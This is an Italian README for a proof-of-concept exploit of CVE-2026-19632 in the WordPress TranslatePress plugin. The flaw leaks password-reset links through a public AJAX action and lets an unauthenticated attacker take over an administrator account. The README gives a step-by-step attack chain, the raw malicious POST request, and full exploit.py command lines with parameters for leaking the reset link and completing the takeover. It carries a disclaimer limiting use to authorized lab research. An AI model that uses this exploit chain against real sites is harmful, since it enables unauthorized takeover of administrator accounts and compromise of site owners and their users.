
Proof-of-concept di sfruttamento in un giorno per CVE-2026-19632, una vulnerabilità critica di acquisizione account non autenticata nel plugin WordPress TranslatePress, che dimostra la divulgazione del link di reimpostazione della password e l'acquisizione dell'account amministratore.
CVE: CVE-2026-19632 | CVSS: 9.8 (Critico)
Compromissione dell'account non autenticata tramite il plugin TranslatePress per WordPress. Tempo dalla pubblicazione della CVE al PoC funzionante Day-One: 5 ore, 9 minuti, 40 secondi
Fino alla versione 3.3.1 inclusa; il problema è stato corretto nella 3.3.2.
TranslatePress può tradurre le email in uscita di WordPress e salvare le relative stringhe tradotte nel proprio database.
TranslatePress salva inoltre le email di reset della password con il link di reset completo, inclusa la chiave segreta, direttamente nella tabella delle traduzioni.
Un attaccante non autenticato può quindi interrogare queste righe tramite un'azione AJAX pubblica di TranslatePress:
Attivare il reset della password
-> l'email di reset viene tradotta
-> l'URL di reset viene salvato nel dizionario della lingua secondaria
-> l'endpoint AJAX pubblico restituisce la riga
-> utilizzare l'URL per impostare una nuova password amministratore
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
La catena di sfruttamento richiede:
Quando WordPress invia l'email di reset, TranslatePress passa alla lingua preferita del destinatario e fa passare l'email attraverso la propria pipeline di traduzione. La versione vulnerabile salva le stringhe incontrate durante questo processo, incluso l'URL di reset.
TranslatePress registra inoltre trp_get_translations_regular per i visitatori non autenticati. Il suo nonce è esposto su una pagina tradotta pubblica, e la richiesta accetta ID di righe del dizionario selezionati dall'attaccante. L'enumerazione di questi ID rivela l'email di reset memorizzata e il relativo link di reset utilizzabile.
| Passaggio | Azione |
|---|---|
| 1 | Caricare /he/cve-lab-seed/ ed estrarre il nonce AJAX pubblico di TranslatePress. |
| 2 | Inviare il modulo di password dimenticata di WordPress per labadmin. |
| 3 | TranslatePress elabora l'email di reset utilizzando la locale ebraica dell'amministratore. |
| 4 | Enumerare le righe del dizionario tramite trp_get_translations_regular. |
| 5 | Estrarre l'URL di reset wp-login.php?action=rp corrispondente più recente. |
| 6 | Aprire l'URL e inviare una nuova password. |
| 7 | Effettuare un nuovo login e richiedere sia un cookie di login WordPress che l'accesso a /wp-admin/. |
La richiesta non autenticata rilevante ha questa forma:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
Il nonce e l'ID di riga utile sono dinamici, quindi exploit.py li scopre anziché codificarli.
Utilizzo minimo:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
Divulgare l'URL di reset senza modificare la password:
python .\exploit.py --stop-after leak
Attivare solo l'email di reset della password:
python .\exploit.py --stop-after reset
| Parametro | Predefinito | Scopo |
|---|---|---|
--url | http://127.0.0.1:19632 | URL base di WordPress. |
--username | labadmin | Account per cui viene richiesto il reset. |
--language | he_IL | Dizionario della lingua secondaria interrogato dal PoC. |
--public-path | /he/cve-lab-seed/ | Pagina tradotta pubblica utilizzata per ottenere il nonce AJAX. |
--new-password | Nessuno | Nuova password; richiesta quando si usa --stop-after takeover. |
--start-id | 1 | Primo ID di riga del dizionario da richiedere. |
--max-id | 500 | Ultimo ID di riga del dizionario da richiedere. Aumentarlo se non viene trovato alcun URL di reset. |
--batch-size | 100 | ID del dizionario richiesti per chiamata AJAX. Intervallo valido: 1-500. |
--timeout | 15 | Timeout HTTP in secondi. |
--settle-seconds | 1 | Ritardo dopo la richiesta dell'email di reset. |
--stop-after | takeover | Fermarsi dopo reset, leak o l'intero takeover. |
Questo progetto è destinato esclusivamente a ricerca sulla sicurezza autorizzata, istruzione e test in ambienti di laboratorio isolati.
Questa vulnerabilità è stata originariamente scoperta e divulgata da momopon1415.
Non utilizzare questo software contro sistemi, reti o dati senza esplicita autorizzazione del proprietario. Sei l'unico responsabile del rispetto di tutte le leggi applicabili e di qualsiasi conseguenza derivante dall'uso di questo progetto.
L'autore, YonLiud, fornisce questo progetto "così com'è", senza garanzie di alcun tipo, e non accetta alcuna responsabilità per danni, perdita di dati, interruzione del servizio, accesso non autorizzato o altro uso improprio causato da questo software o da opere derivate.
Utilizzando questo progetto, riconosci e accetti queste condizioni.